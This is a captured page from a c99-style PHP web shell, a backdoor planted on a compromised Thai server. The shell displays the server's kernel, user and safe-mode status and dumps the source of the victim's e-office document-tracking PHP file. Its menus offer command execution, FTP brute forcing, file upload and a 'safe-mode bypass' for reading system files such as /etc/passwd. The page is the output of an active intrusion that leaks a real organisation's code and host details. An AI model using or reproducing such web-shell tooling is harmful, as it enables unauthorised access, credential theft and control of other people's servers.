!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 52.23 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     sendReceiveDoc.php (22.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../link/function.php";
include_once 
"funct.php";
include_once 
"../link/keyThai.php";
include_once 
"../class/clsSendReceive.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsDocSpeedLevel.php";
include_once 
"../class/clsDocSecreLevel.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);
$time_startpage microtime_float();
$InputThai=$oSys->SearchByInputThai();
$oDP = new Department($oC);
$oTsr = new sendreceive($oC);
$oTsr2 = new sendreceive($oC);
$oTsr3 = new sendreceive($oC);
$oTsr4 = new sendreceive($oC);
$oDlc = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlc3 = new DocLineConfig($oC);
$oDlc4 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp1 = new docLinePosition($oC);
$oDlp2 = new docLinePosition($oC);
$oDsl = new DocSpeedLevel($oC);
$oDcl = new DocSecretLevel($oC);
$oDsl2 = new DocSpeedLevel($oC);
$oDcl2 = new DocSecretLevel($oC);
$MaxDocGroup=$oDP->SearchMaxDocGroup();
if(
$_SESSION['DLCID'] && $_SESSION['one_position']!="1"){ include_once "selectposition.php";
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<iframe id="SR" name="SR" src="" style="width:0px;height:0px;border:0"></iframe>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="sendReceiveDoc.php">การติดตามหนังสือส่งอิเล็กทรอนิกส์</a>
    </font></legend>
        <form name="gg"  METHOD="POST" action="processReSendDocSR.php" target="SR">
      <table align="center" width="98%" >
        <tr>
            <td width="68%" height="25"><img src="../picture/search_ico.gif"   border="0" > 
              <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="3"><strong> 
              การติดตามหนังสือส่งอิเล็กทรอนิกส์</strong></font> </td>
          <td width="23%" align="right">&nbsp;</td>
          <td width="9%" align="right" >&nbsp;</td>
        </tr>
        <tr>
          <td colspan="3"><hr color="#000099"></hr>
          </td>
        </tr>
      </table>
        <br>
      <table width="99%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
      <tr height=22>
      <td width="15%" align="center" background="../picture/table_header_bg.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>ที่</strong></font></td>
      <td width="15%" align="center" background="../picture/table_header_bg.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>ลงวันที่</strong></font></td>
      <td width="29%" align="center" background="../picture/table_header_bg.gif" ><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>เรื่อง (ถึง)</strong></font></td>
      <td width="15%" align="center" background="../picture/table_header_bg.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>วันที่ส่งหนังสือ</strong></font></td>
      <td width="3%" align="center" background="../picture/table_header_bg.gif"><img src="../picture/rapid0.jpg"   border="0" ></td>
          <td width="3%" align="center" background="../picture/table_header_bg.gif"><img src="../picture/secret0.jpg"   border="0" ></td>
        <td width="19%" align="center" background="../picture/table_header_bg.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>สถานะ</strong></font></td>  
          </tr>
           <?
           
                  $oDlc
->SearchByKey($DLCID); $oDlc->GetRecord(); 
                
$checkcan=SearchSendAll_send($oDlc->DlpID);
                
$oDlp1->SearchByKey($oDlc->DlpID);  $oDlp1->GetRecord();
                if(
$oDlp1->DlpPID!="0"){ 
                    
//$DlcPS2=$DLCID;
                    
$DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                 }else{
                    
$DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                }
           
                
$numRow2=$oTsr4->SearchDocStatusNoSend($GLOBALS["COLLEGEID"],$DLCID,$DlcPS2,$MaxDocGroup,'s3');
        
$i=0;
        if(
$numRow2!=0){   
                
$total_page2 = (int)($numRow2/$GLOBALS['PAGE_SIZE']);
                if((
$numRow2%$GLOBALS['PAGE_SIZE']) != 0)
                                
$total_page2++;
                        
                if(
$page_id2!=""){   if($page_id2>$total_page2){  $page_id2 1$start2 0; }}else{   $page_id2 1$start2 0;}
                if(isset(
$page_id2))
                                
$start2 $GLOBALS['PAGE_SIZE']*($page_id2-1);
                else {
                                
$page_id2 1;
                                
$start2 0;
                }
                                           
                  
$oTsr->SearchDocStatusNoSendlimit($GLOBALS["COLLEGEID"],$DLCID,$DlcPS2,$MaxDocGroup,'s3',$start2,$GLOBALS['PAGE_SIZE']);
                                  
                  while(
$oTsr->GetRecord() && $checkcan=='All'){ 
                    if((
$i%2) == 0)   
                                              echo 
"<tr bgcolor=\"#FFFFFF\" height=22 >";
                                        else
                                              echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_16"]."\"  height=22 align=\"left\">";
          
?>
            <td align="left"><? echo a2th($oTsr->tsr_DocNo);  ?></td>
            <td align="center"><?php  if($oTsr->tsr_DocDate =="0000-00-00"){ echo ""; }else{ echo abbreDate(splitDateDb2($oTsr->tsr_DocDate ,'/')); }?></td>

            <td align="left">&nbsp;
            <a href="showDetailSendDocSRshow.php?page_id2=<? echo $page_id2;?>&DocID=<?php echo $oTsr->tsr_docid;?>&DrsID=<? echo $oTsr->tsr_DrsID?>"><? echo a2th($oTsr->tsr_DocSubject);  ?></a> (<? echo searchcollegeAbbr($oTsr->tsr_to_node); ?>)
            </td>           
             <td align="center">
        <? 
      
if($oTsr->tsr_fr_node_date!="0000-00-00 00:00:00"){
                  list(
$DocD,$DocT) = preg_split('[ ]',$oTsr->tsr_fr_node_date);
                echo 
abbreDate2($DocD,'/')."<br>".a2th($DocT);
        }
        
?></td>
            <td align="center"><? echo searchPicDocSpeedLevel($oTsr->tsr_DslID); ?></td>
            <td align="center"><? echo searchPicDocSecretLevel($oTsr->tsr_DclID); ?></td>
            <td align="left">&nbsp;
            <?php
            
list($date$time) = preg_split("[ ]"$oTsr->tsr_fr_node_date);
            
//echo $date."_".$time." - ".getNowDate()."<br>".splitDateDb3($date)."<br>";
                
$date_range time_diff(splitDateDb3($date),getNowDate());
                
//echo $date_range."<br>";
                
list($y_r$m_r$d_r) = preg_split("[,]"$date_range);
                
$resend ="N";
                if(
$y_r>|| $m_r>|| $d_r>5){ //year>0, month>0, day>5 to Resend
                    
$resend "Y";
                }
                
//echo $resend;
                
echo Showtsr_status($oTsr->tsr_status$resend);  
                  if(
$oTsr->tsr_status=='s1'){  
            
?>   <a onClick=sendReCheck('<? echo $oTsr->tsr_id?>','1','<? echo $page_id2;?>') style=cursor:pointer;><img src="../picture/resend2.gif" title="ส่งใหม่"  border=0></a>
            <br>&nbsp;&nbsp;&nbsp;ยกเลิกการส่ง<a onClick=sendReCheck('<? echo $oTsr->tsr_id?>','3','<? echo $page_id2;?>') style=cursor:pointer;> <img src="../picture/cancel.gif" title="ยกเลิกการส่ง"  border=0></a>
            <?
                 

                 if(
$oTsr->tsr_status=='s2'){  
            
?>
                 <a onClick=sendReCheck('<? echo $oTsr->tsr_id?>','2','<? echo $page_id2;?>') style=cursor:pointer;><img src="../picture/resend.gif" title="ตรวจสอบ" border=0></a>                 
            <? ?>
                 </td>
      </tr>
          <? $i++; }  }  ?>
      </table>
        <table width="99%" align="center" border=0 cellpadding="0" cellspacing="0" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_13'];?>"  height="22">
        <? if($i=="0"){?>
          <tr height=22><td align="center" bgcolor="#FFFFFF"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">** ไม่มีรายการหนังสือส่งภายนอก **</font></td></tr>
            <tr height=22 bgcolor="#DADADA"><td align="right" colspan="7">&nbsp;</td></tr>
          <? }else{  ?>
                                           <tr height=22 bgcolor="#DADADA"><td align="right"><strong>หน้า-&gt;</strong>
<?php
                    
for ($num=1$num<=$total_page2$num++) {    
                        if(
$num == $page_id2){
                            echo  
a2th($num)." ";
                        }else {
?>
                            <a href="sendReceiveDoc.php?page_id2=<?php echo $num;?>"><?php echo '[ 'a2th($num).' ]'; if($num==14){echo "<br>";} ?></a>
<?php
                        
}
                    }
?>
&nbsp;&nbsp;</td></tr>
            <? ?>
       <tr height=22 bgcolor="#FFFFFF">
          <td colspan="7" valign="bottom"><br>
          <hr color="#000099"></hr></td>
        </tr>
      </table>     <input type="hidden" name="m" id="m"  >
    <input type="hidden" name="tsr_id"  id="tsr_id">
    <input type="hidden" name="page_id2" id="page_id2" value="<? echo $page_id2;?>">
      </form>
      <form name="ff"  METHOD="POST">
      <br>      <? if($monthe==""){  $monthe=Date('m'); } if($searchYear==""){  $searchYear=Date('Y')+543; }  //echo "month=".$monthe."&nbsp;"."Year=".$searchYear;?>
       <table  width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse"> 
          <tr height=27 bgcolor="#FFFFFF" ><td align="left" >&nbsp;
           <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong> 
          <a id="openshow" <? if($flagshow=="1"){   ?>style="display:none; cursor:pointer"  <? }else{ ?> style="display:''; cursor:pointer" <? }?>   onclick="up_downList('<? if($flagshow=="1"){   echo "up"; }else{  echo "up"; }?>')"><img src="../picture/downshow.gif" title="แสดง"  border="0" >&nbsp;<U>แสดงรายการหนังสือที่ฝั่งรับดาวน์โหลดสำเร็จแล้วทั้งหมด</U></a>
          <a  id="closeshow" <? if($flagshow=="1"){   ?>style="display:''; cursor:pointer" <? }else{ ?>style="display:none; cursor:pointer"  <? }?> title="ซ่อน" onclick="up_downList('<? if($flagshow=="1"){  echo "down";  }else{  echo "down";  }?>')"><img src="../picture/downshow.gif" title="ซ่อน"  border="0" >&nbsp;<U>ซ่อนรายการหนังสือที่ฝั่งรับดาวน์โหลดสำเร็จแล้วทั้งหมด</U></a>
          </strong></font>
          <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"   id="showtable" <? if($flagshow=="1"){   ?>style="display:''; border-collapse:collapse" <? }else{ ?>style="display:none; border-collapse:collapse"  <? }?>>
          <tr><td>
           <div id="showselect"> 
                      <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"   style="border-collapse:collapse">
                        <tr>
                          <td align="right"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"> 
                            <? if($oDlp1->DlpPID!="0"){   ?>
                            <? }else{ ?>
                            <input type="hidden" name="s"  id="s"  value="<? echo $s?>">
                            <?  ?>
                            ค้นหาหนังสือ (เรื่อง/ว่าด้วย)</font>&nbsp;
                            <input name="searchName" id="searchName"  type="text" size="25" value="<? echo a2th($searchName); ?>" onkeypress="return chkNoKey(event)" onKeyUp="CheckInput('<? echo $InputThai?>','searchName')">
                            &nbsp;<font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">&nbsp;(ที่)</font>&nbsp;
                            <input name="searchNo" id="searchNo"  type="text" size="20" value="<? echo a2th($searchNo); ?>" onkeypress="return chkNoKey(event)" onKeyUp="CheckInput('<? echo $InputThai?>','searchNo')">
                            &nbsp;&nbsp;<br>
                            ประจำเดือน&nbsp; <select name="monthe" id="monthe" onChange="On_Month()">
                              <option value="01" <? if($monthe=="01"){ echo "selected";   }?>>ม.ค.</option>
                              <option value="02" <? if($monthe=="02"){ echo "selected";   }?>>ก.พ.</option>
                              <option value="03" <? if($monthe=="03"){ echo "selected";   }?>>มี.ค.</option>
                              <option value="04" <? if($monthe=="04"){ echo "selected";   }?>>เม.ย.</option>
                              <option value="05" <? if($monthe=="05"){ echo "selected";   }?>>พ.ค.</option>
                              <option value="06" <? if($monthe=="06"){ echo "selected";   }?>>มิ.ย.</option>
                              <option value="07" <? if($monthe=="07"){ echo "selected";   }?>>ก.ค.</option>
                              <option value="08" <? if($monthe=="08"){ echo "selected";   }?>>ส.ค.</option>
                              <option value="09" <? if($monthe=="09"){ echo "selected";   }?>>ก.ย.</option>
                              <option value="10" <? if($monthe=="10"){ echo "selected";   }?>>ต.ค.</option>
                              <option value="11" <? if($monthe=="11"){ echo "selected";   }?>>พ.ย.</option>
                              <option value="12" <? if($monthe=="12"){ echo "selected";   }?>>ธ.ค.</option>
                            </select> &nbsp;
                            <input name="searchYear"  id="searchYear"  type="text" size="5" maxlength="5" value=<? if($searchYear!=""){  echo a2th($searchYear);  }else{  echo a2th(Date('Y')+543); } ?> onKeyUp="On_Year('<?php echo $DLCID?>','<?php echo $MaxDocGroup?>','<?php echo $DlcPS2;  ?>','<? echo $InputThai?>')" onkeypress="return isNumberKey('<? echo $InputThai?>',event)"> 
                            <input name="searchNamesub" type="button" value="ค้นหา" onClick="showDoc()">
                            &nbsp;&nbsp; </td>
                        </tr>
                      </table>
                      <table width="100%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
             <?  $flagshow=1;?>
              <tr height=22>
              <td width="15%" align="center" background="../picture/table_header_bg5.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>ที่</strong></font></td>
              <td width="15%" align="center" background="../picture/table_header_bg5.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>ลงวันที่</strong></font></td>
              <td width="43%" align="center" background="../picture/table_header_bg5.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>เรื่อง (ถึง)</strong></font></td>
              <td width="15%" align="center" background="../picture/table_header_bg5.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>วันที่ส่งหนังสือ</strong></font></td> 
               <td width="11%" align="center" background="../picture/table_header_bg5.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>ดำเนินการ</strong></font></td>
                </tr>
 <?
                           
//--------------------------------find count
                        
$numRow=0;
                        if(
$checkcan=='All'){$numRow =$oTsr2->SearchCountDocStatusSend2($GLOBALS["COLLEGEID"],$DLCID,$DlcPS2,$MaxDocGroup,'s3',$monthe,th2a($searchYear),th2a($searchName),th2a($searchNo));}

        
$z=0;
        if(
$numRow!=0){                            
                        
$total_page = (int)($numRow/$GLOBALS['PAGE_SIZE']);
                        if((
$numRow%$GLOBALS['PAGE_SIZE']) != 0)
                            
$total_page++;

                        if(
$page_id!=""){   if($page_id>$total_page){  $page_id 1$start 0; }}else{   $page_id 1$start 0;}
                        if(isset(
$page_id))
                            
$start $GLOBALS['PAGE_SIZE']*($page_id-1);
                        else {
                            
$page_id 1;
                            
$start 0;
                        }
                        
//-------------------------------
                        
                        
$oTsr3->SearchDocStatuslimitSend($GLOBALS["COLLEGEID"],$DLCID,$DlcPS2,$MaxDocGroup,'s3'$start$GLOBALS['PAGE_SIZE'],$monthe,th2a($searchYear),th2a($searchName),th2a($searchNo));
                        while(
$oTsr3->GetRecord()  && $checkcan=='All'){
                            if((
$z%2) == 0)   
                                              echo 
"<tr bgcolor=\"#FFFFFF\" height=22 >";
                                        else
                                              echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_16"]."\"  height=22>";
?>                        
                        <td align="left"><? echo a2th($oTsr3->tsr_DocNo);  ?></td>
                        <td align="center"><?php  if($oTsr3->tsr_DocDate =="0000-00-00"){ echo ""; }else{ echo abbreDate(splitDateDb2($oTsr3->tsr_DocDate ,'/')); }?></td>
                        <td align="left">&nbsp;
                        <a href="showDetailSendDocSRFinish.php?page_id=<? echo $page_id;?>&DocID=<?php echo $oTsr3->tsr_docid;?>&DrsID=<? echo $oTsr3->tsr_DrsID?>&flagshow=<? echo $flagshow?>&monthe=<? echo $monthe;?>&searchYear=<? echo $searchYear?>&searchName=<? echo $searchName?>&searchNo=<? echo $searchNo?>"><? echo a2th($oTsr3->tsr_DocSubject);  ?></a> (<? echo searchcollegeAbbr($oTsr3->tsr_to_node); ?>)
                        </td>           
                         <td align="center">
                            <? 
                          
if($oTsr3->tsr_fr_node_date!="0000-00-00 00:00:00"){
                                     list(
$DocD,$DocT) = preg_split('[ ]',$oTsr3->tsr_fr_node_date);
                                    echo 
abbreDate2($DocD,'/')."<br>".a2th($DocT);
                            }
                            
?></td>
                            <td align="center"><? if($oTsr3->tsr_receive==""){ ?><a onClick = "showStatusDocSendReceive('<? echo $oTsr3->tsr_id;?>')" style="cursor:pointer;"><font color="#000066"><img src="../picture/resend4.gif" title="ตรวจสอบการลงรับ"  border=0></font></a><? }
                            if(
$oTsr3->tsr_receive=="Y"){ ?>
                            <a onClick = "showDetailStatusDocSendReceive('<? echo $oTsr3->tsr_id;?>')" style="cursor:pointer;"><font color="#000066"><img src="../picture/showlinedoc2.gif" title="ตรวจสอบเส้นทางหนังสือ"  border=0></font></a>
                            <? }
                            if(
$oTsr3->tsr_receive=="R"){ 
                                echo 
"แจ้งส่งผิด<br>";
                                list(
$DocD,$DocT) = preg_split('[ ]',$oTsr3->tsr_receivedate);
                                echo 
abbreDate2($DocD,'/')."<br>".a2th($DocT);
                            }
                            
?></td>
                            
<?                        
                        $z
++; }}
 
?>
            <? if($z=="0"){?>
          <tr height=22><td align="center" bgcolor="#FFFFFF" colspan="5"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">** ไม่มีรายการหนังสือ **</font></td></tr>
          <tr height=22 bgcolor="#DADADA"><td align="right" colspan="7">&nbsp;</td></tr>
          <? }else{  ?>
           <tr height=22 bgcolor="#DADADA"><td align="right" colspan="7"><strong>หน้า-&gt;</strong>
<?php 
                    
for ($num=1$num<=$total_page$num++) {    
                        if(
$num == $page_id)
                            echo 
a2th($num)." ";
                        else {
?>
                            <a href="sendReceiveDoc.php?page_id=<?php echo $num;?>&flagshow=<? echo $flagshow?>&monthe=<? echo $monthe;?>&searchYear=<? echo $searchYear?>&searchName=<? echo $searchName?>&searchNo=<? echo $searchNo?>"><?php echo '[ '.a2th($num).' ]'; if($num==14){echo "<br>";}?></a>
<?php
                        
}
                    }
?>&nbsp;&nbsp;</td></tr>
          <? ?>
          </table><br>
         </div></td></tr></table>
          </td></tr>
    </table><input type="hidden" name="flagshow"  id="flagshow"   value="<? echo $flagshow?>">
    <input type="hidden" name="page_id" id="page_id"  value="<? echo $page_id?>">    
      </form></fieldset> 
      <table width="99%" border="0" align="center">
        <tr> 
          <td width="134" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="1070" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกที่เรื่องหนังสือเพื่อดูรายละเอียดหนังสือ</font></td>
        </tr>
        <tr> 
          <td width="134" align="left">&nbsp;</td>
          <td colspan="2" align="left">
          <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกที่ <img src="../picture/resend2.gif" title="ส่งใหม่"  border=0> เพื่อทำการส่งหนังสืออีกครั้ง</font></td>
        </tr>
        <tr> 
          <td width="134" align="left">&nbsp;</td>
          <td colspan="2" align="left">
          <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกที่ <img src="../picture/resend.gif" title="ส่งใหม่"  border=0> เพื่อทำการตรวจสอบการดาวน์โหลดเอกสาร</font></td>
        </tr>
        <tr> 
          <td width="134" align="left">&nbsp;</td>
          <td colspan="2" align="left">
          <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกที่ <img src="../picture/resend4.gif" title="ตรวจสอบการลงรับ"  border=0> เพื่อทำการตรวจสอบการลงรับหนังสือ</font></td>
        </tr>        
        <tr> 
          <td width="134" align="left">&nbsp;</td>
          <td colspan="2" align="left">
          <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกที่ <img src="../picture/cancel.gif" title="ส่งใหม่"  border=0> เพื่อยกเลิกการส่งหนังสือ</font></td>
        </tr>
        <tr> 
          <td width="134" align="left">&nbsp;</td>
          <td colspan="2" align="left">
          <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกที่ <img src="../picture/showlinedoc2.gif" title="ตรวจสอบเส้นทางการส่งหนังสือ"  border=0> เพื่อทำการตรวจสอบเส้นทางการส่งหนังสือ</font></td>
        </tr>
      </table>
</td>
</tr>
</table>
</body>
</html>
<? }else{ include_once "unselectposition.php"; } ?>
<?
$time_endpage 
microtime_float();
echo 
'<div align=right><font color=#AAAAAA>'.$time $time_endpage $time_startpage;
echo 
' s</font></div>';
?>
<script language="javascript">

function sendReCheck(tsr_id,m,p){
    document.gg.m.value=m;
    document.gg.tsr_id.value=tsr_id;
    document.gg.page_id2.value=p;
    if(m==3){
            var agree=confirm("คุณต้องการจะยกเลิกส่งหนังสือฉบับนี้แน่นอนใช่หรือไม่ ?");
            if (agree){
                document.gg.submit();
            }else{
                return false ;
            }
    }else{    
        document.gg.submit();
    }
}
function showDoc(){
    document.ff.submit();
}
function up_downList(status){
    var mybrowser=navigator.userAgent;    
    if(status=='up'){
                if(mybrowser.indexOf('MSIE')>0){
                        closeshow.style.display='';
                        openshow.style.display='none';
                        showtable.style.display='';
                }else{
                        document.getElementById( 'closeshow' ).setAttribute( 'style', 'display:' );
                        document.getElementById( 'openshow' ).setAttribute( 'style', 'display:none' );
                        document.getElementById( 'showtable' ).setAttribute( 'style', 'display:' );        
                }        
        
    }else{
                if(mybrowser.indexOf('MSIE')>0){
                        openshow.style.display='';
                        closeshow.style.display='none';
                        showtable.style.display='none';
                }else{
                        document.getElementById( 'openshow' ).setAttribute( 'style', 'display:' );
                        document.getElementById( 'closeshow' ).setAttribute( 'style', 'display:none' );
                        document.getElementById( 'showtable' ).setAttribute( 'style', 'display:none' );                                                        
                }        
    }
}
function On_Month(){
      searchYear=document.ff.searchYear.value;
      if (searchYear=="") {
      alert('กรุณากรอกปี');
      document.ff.searchYear.focus();
      return false ;
   }
    document.ff.flagshow.value=1;
    document.ff.submit();
}
function On_Year(DLCID,MaxDocGroup,DlcPS2,InputThai){
    searchYear=document.ff.searchYear.value;
    if (searchYear.length == 4) {
            document.ff.flagshow.value=1;
            document.ff.submit();
    }
}
function changeS2(){
        if(document.ff.searchName.value==""){
            document.ff.searchName.value="";
        }
        if(document.ff.searchNo.value==""){
            document.ff.searchNo.value="";
        }    
        document.ff.submit();
}
 function showStatusDocSendReceive(tsr_id){ 
             
             FileName = "checkStatusDocSendReceiveTable.php?tsr_id="+tsr_id;
            var w=500;  
            var h=150;
            strOption = "scrollbars=yes,left=370,top=100,menubar=1,status=1, width=" + w + ",height=" + h;
            window.open(FileName,"",strOption);
            
}
 function showDetailStatusDocSendReceive(tsr_id){ 
             
             FileName = "checkDetailStatusDocSendReceiveTable.php?tsr_id="+tsr_id;
            var w=900;  
            var h=500;
            strOption = "scrollbars=yes,left=370,top=100,menubar=1,status=1, width=" + w + ",height=" + h;
            window.open(FileName,"",strOption);
            
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0082 ]--